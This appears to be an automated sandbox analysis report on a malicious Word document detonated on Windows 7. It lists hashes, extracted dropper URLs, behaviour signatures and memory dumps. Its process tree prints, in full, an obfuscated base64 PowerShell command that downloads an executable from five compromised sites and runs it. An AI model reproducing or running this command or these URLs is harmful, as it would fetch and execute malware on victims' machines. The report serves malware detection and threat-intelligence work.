Analysis

  • max time kernel
    106s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220718-en
  • resource tags

    arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
  • submitted
    25-07-2022 04:36

General

  • Target

    2899b6841f0906141c249b1557b39b7989ee98c7172bdbf5e366c8f2e8a8fb89.doc

  • Size

    127KB

  • MD5

    5b6000ef0f25e0bc46f3f31204f4700b

  • SHA1

    ac84b02f593cd905232b82b4629c7af6be31f577

  • SHA256

    2899b6841f0906141c249b1557b39b7989ee98c7172bdbf5e366c8f2e8a8fb89

  • SHA512

    266c49669b211649cfe122541488acc5ebfeac535cae101bb81e075530e5212112c08fb0632b5fae93926641cae9b575c58970d5d8a7e969312c9cf7320996a3

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://securityone-eg.com/wp-content/c6zvhffmx_6skfqch2lf-4721/

exe.dropper

http://randewoo.ir/profiles/50sq_qqdxeeln-04257/

exe.dropper

https://www.aseanlegaltech.com/wp-includes/lFhhBfMMLK/

exe.dropper

https://cybermagicindia.com/images/ur82i_90jm6p-55532/

exe.dropper

http://3rdperson.ml/wp-includes/eEEGYADPv/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2899b6841f0906141c249b1557b39b7989ee98c7172bdbf5e366c8f2e8a8fb89.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1988
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:620
    • C:\Windows\System32\WindowsPowerShell\v1.0\PowErsHell.exe
      PowErsHell -enC JABEADcANQAwAF8AMQA9ACcAVwA2ADkAMgBfADAAJwA7ACQAbwA2ADEAXwA0ADYAOQAgAD0AIAAnADcANwAyACcAOwAkAEYANwA5ADcAMgA3ADIANwA9ACcAcABfAF8AMwAxADMANAA0ACcAOwAkAEEAOAAxADQAMgA2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABvADYAMQBfADQANgA5ACsAJwAuAGUAeABlACcAOwAkAFAAMQA3ADQAMgA4ADEAPQAnAHAANwAzADIANwA1ACcAOwAkAHoANgAzADUAOAAwADIAPQAmACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQB0AC4AVwBlAGIAYABjAGAAbABJAGAAZQBOAHQAOwAkAHMAMwAyADEAXwAzADUAMAA9ACcAaAB0AHQAcAA6AC8ALwBzAGUAYwB1AHIAaQB0AHkAbwBuAGUALQBlAGcALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBjADYAegB2AGgAZgBmAG0AeABfADYAcwBrAGYAcQBjAGgAMgBsAGYALQA0ADcAMgAxAC8AQABoAHQAdABwADoALwAvAHIAYQBuAGQAZQB3AG8AbwAuAGkAcgAvAHAAcgBvAGYAaQBsAGUAcwAvADUAMABzAHEAXwBxAHEAZAB4AGUAZQBsAG4ALQAwADQAMgA1ADcALwBAAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGEAcwBlAGEAbgBsAGUAZwBhAGwAdABlAGMAaAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AbABGAGgAaABCAGYATQBNAEwASwAvAEAAaAB0AHQAcABzADoALwAvAGMAeQBiAGUAcgBtAGEAZwBpAGMAaQBuAGQAaQBhAC4AYwBvAG0ALwBpAG0AYQBnAGUAcwAvAHUAcgA4ADIAaQBfADkAMABqAG0ANgBwAC0ANQA1ADUAMwAyAC8AQABoAHQAdABwADoALwAvADMAcgBkAHAAZQByAHMAbwBuAC4AbQBsAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AZQBFAEUARwBZAEEARABQAHYALwAnAC4AUwBwAGwASQB0ACgAJwBAACcAKQA7ACQAZABfAF8ANAA0ADYAMgBfAD0AJwBOADgAXwA4ADcAOAA2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABrADAAMAA2ADQANwAgAGkAbgAgACQAcwAzADIAMQBfADMANQAwACkAewB0AHIAeQB7ACQAegA2ADMANQA4ADAAMgAuAEQATwBXAE4ATABvAGEAZABmAGkATABFACgAJABrADAAMAA2ADQANwAsACAAJABBADgAMQA0ADIANgApADsAJAB6ADUANQA2ADcAMgA9ACcAUwA2ADAANAAwADAANQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEAOAAxADQAMgA2ACkALgBsAGUATgBnAFQAaAAgAC0AZwBlACAAMwA0ADkAOAA5ACkAIAB7ACYAKAAnAEkAJwArACcAbgAnACsAJwB2AG8AawBlAC0ASQB0AGUAbQAnACkAIAAkAEEAOAAxADQAMgA2ADsAJABGADEANgA2ADUAXwA9ACcAUwAzADIAXwA2ADgAMwA0ACcAOwBiAHIAZQBhAGsAOwAkAEcANgA1ADMAMABfADkAPQAnAEcANQAwADYAXwAzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFYANwA2AF8ANgAzADkAPQAnAGEANQBfADMAMgA3ACcA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1648

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/620-59-0x0000000000000000-mapping.dmp
    • memory/620-60-0x000007FEFBF21000-0x000007FEFBF23000-memory.dmp
      Filesize

      8KB

    • memory/1648-69-0x0000000002424000-0x0000000002427000-memory.dmp
      Filesize

      12KB

    • memory/1648-73-0x000000000242B000-0x000000000244A000-memory.dmp
      Filesize

      124KB

    • memory/1648-75-0x000000000242B000-0x000000000244A000-memory.dmp
      Filesize

      124KB

    • memory/1648-74-0x0000000002424000-0x0000000002427000-memory.dmp
      Filesize

      12KB

    • memory/1648-72-0x0000000002424000-0x0000000002427000-memory.dmp
      Filesize

      12KB

    • memory/1648-70-0x000000000242B000-0x000000000244A000-memory.dmp
      Filesize

      124KB

    • memory/1648-68-0x000000001B730000-0x000000001BA2F000-memory.dmp
      Filesize

      3.0MB

    • memory/1648-67-0x000007FEF37C0000-0x000007FEF431D000-memory.dmp
      Filesize

      11.4MB

    • memory/1648-66-0x000007FEF43E0000-0x000007FEF4E03000-memory.dmp
      Filesize

      10.1MB

    • memory/1988-61-0x0000000000528000-0x000000000052C000-memory.dmp
      Filesize

      16KB

    • memory/1988-64-0x000000000641E000-0x0000000006422000-memory.dmp
      Filesize

      16KB

    • memory/1988-62-0x0000000000528000-0x000000000052C000-memory.dmp
      Filesize

      16KB

    • memory/1988-63-0x000000000641E000-0x0000000006422000-memory.dmp
      Filesize

      16KB

    • memory/1988-54-0x0000000072AC1000-0x0000000072AC4000-memory.dmp
      Filesize

      12KB

    • memory/1988-71-0x000000007152D000-0x0000000071538000-memory.dmp
      Filesize

      44KB

    • memory/1988-55-0x0000000070541000-0x0000000070543000-memory.dmp
      Filesize

      8KB

    • memory/1988-57-0x000000007152D000-0x0000000071538000-memory.dmp
      Filesize

      44KB

    • memory/1988-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1988-58-0x0000000075441000-0x0000000075443000-memory.dmp
      Filesize

      8KB

    • memory/1988-76-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1988-77-0x000000007152D000-0x0000000071538000-memory.dmp
      Filesize

      44KB